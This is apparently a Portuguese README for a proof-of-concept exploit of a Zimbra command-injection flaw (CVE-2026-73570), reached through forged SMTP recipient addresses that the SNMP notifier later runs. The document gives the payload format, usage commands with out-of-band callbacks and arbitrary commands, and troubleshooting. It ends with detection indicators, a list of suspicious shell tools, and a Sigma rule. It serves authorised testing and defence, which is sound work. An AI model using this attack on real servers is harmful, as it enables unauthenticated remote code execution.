
Proof-of-concept de exploit para CVE-2026-73570, uma injeção de comando do sistema operacional não autenticada no Zimbra Collaboration Suite via injeção de log do zimbra-snmp, com orientações de detecção.
Prova de conceito de exploit para CVE-2026-73570, uma injeção de comando de SO
não autenticada (CWE-78, CVSS 8.9) no Zimbra Collaboration Suite < 10.1.20 quando o
pacote zimbra-snmp está instalado e as notificações SNMP estão habilitadas.
Aviso: Esta PoC destina-se apenas a testes de segurança autorizados, pesquisa defensiva e validação dos seus próprios sistemas. Não a utilize contra qualquer sistema que não lhe pertença ou para o qual não tenha permissão escrita explícita para testar.
O recurso de notificação SNMP do Zimbra usa o swatchdog para monitorar
/var/log/zimbra.log em busca de eventos de serviço. Quando uma linha de log corresponde ao seu padrão
de observação, o texto correspondido é interpolado em um comando de shell que envia a
notificação SNMP — sem sanitização.
A cadeia de ataque:
1. O atacante envia uma sessão SMTP com um endereço RCPT TO forjado:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
A parte local é uma string entre aspas RFC 5321, então o Postfix aceita a
sintaxe do endereço (espaços, dois-pontos, $(...) incluídos).
2. O Postfix rejeita o destinatário (relay negado / usuário desconhecido / restrição
de remetente) e grava a string COMPLETA to=<...>, com as aspas removidas, em
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. O swatchdog (zimbra-snmp) verifica periodicamente o log e corresponde ao seu
padrão watchfor "Service status change ... changed from ... to ...".
4. O texto correspondido é interpolado no comando de shell de notificação SNMP
-> $(CMD) é avaliado -> execução de comando como o usuário `zimbra`.
O alvo deve atender a todos os seguintes requisitos:
zimbra-snmp instaladozmlocalconfig | grep -i snmp_notify)Lado do atacante: Python 3 (apenas biblioteca padrão, sem dependências).
# 1. Verificar RCE via callback DNS out-of-band (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verificar RCE via callback HTTP para o seu listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Criar um arquivo marcador no host (verifique manualmente no servidor depois):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Apenas fingerprint (nenhum payload enviado):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: imprimir o transcript SMTP completo
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Opções:
| Flag | Descrição |
|---|---|
-t, --target | IP/hostname SMTP do Zimbra alvo (obrigatório) |
-p, --port | Porta SMTP (padrão: 25) |
--tls | Usar STARTTLS (ex.: porta 587) |
--oob | Domínio DNS OOB ou URL de callback HTTP (recomendado) |
--cmd | Comando arbitrário em vez de callback OOB |
--fake-host | Hostname dentro da string falsa Service status change (padrão: localhost) |
--check-only | Apenas fingerprint, não enviar payloads |
--delay | Atraso entre envios em segundos (padrão: 1.0) |
--debug | Imprimir transcript SMTP completo |
O script envia cada comando em várias variantes de injeção ($(...),
backticks, ;cmd;#, $({IFS}...)). Para cada variante, observe o código de
resposta do RCPT:
| Resposta RCPT | Significado |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Sintaxe do endereço aceita — a linha de rejeição com a string completa to=<...> está agora no log. Payload plantado. |
501 5.1.3 Bad recipient address syntax | O Postfix rejeitou o endereço no momento do parsing — nada útil foi registrado. O script tenta novamente automaticamente com um fallback sem aspas. |
Em seguida, confirme no servidor (se tiver acesso):
# A linha injetada deve estar presente:
grep 'Service status change' /var/log/zimbra.log | tail
# Esperado: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Aguarde 1-5 minutos (o swatchdog verifica o log periodicamente — a execução NÃO é em tempo real),
# depois verifique o efeito:
ls -la /tmp/ # se você usou --cmd
# ou observe seu listener OOB para o callback
Se a linha de log estiver presente mas o comando nunca executar, as pré-condições
restantes estão do lado do swatchdog: verifique se o processo está em execução
(ps aux | grep swatch) e se sua configuração realmente observa o
padrão Service status change.
Contexto de execução: os comandos são executados como o usuário zimbra (não root).
fail2ban-client status, iptables -L -n | grep <seu_ip>, e confirme
que os pacotes chegam ao Postfix com tcpdump -i any port 25 and host <seu_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... em vez de uma
linha NOQUEUE: reject. Faça grep pelo seu IP de atacante.Principais indicadores de exploração bem-sucedida:
to=<*: Service status change: *$(...)* dentro
de uma linha de rejeição do Postfix em /var/log/zimbra.log — virtualmente zero
falsos positivos, já que o texto Service status change nunca aparece
legitimamente dentro de um endereço to=<>.sh, bash, curl, wget, nc, python, perl) gerado como filho
do swatchdog / swatch..jsp/.jspx em
/opt/zimbra/jetty/webapps/ ou /opt/zimbra/jetty_base/webapps/,
arquivos inesperados em /tmp/, novas entradas de cron ou chaves SSH para o usuário zimbra,
e conexões de saída do servidor de e-mail que não correspondem ao
fluxo normal de e-mail.Exemplo de regra Sigma (estágio de tentativa):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp até que seja corrigido.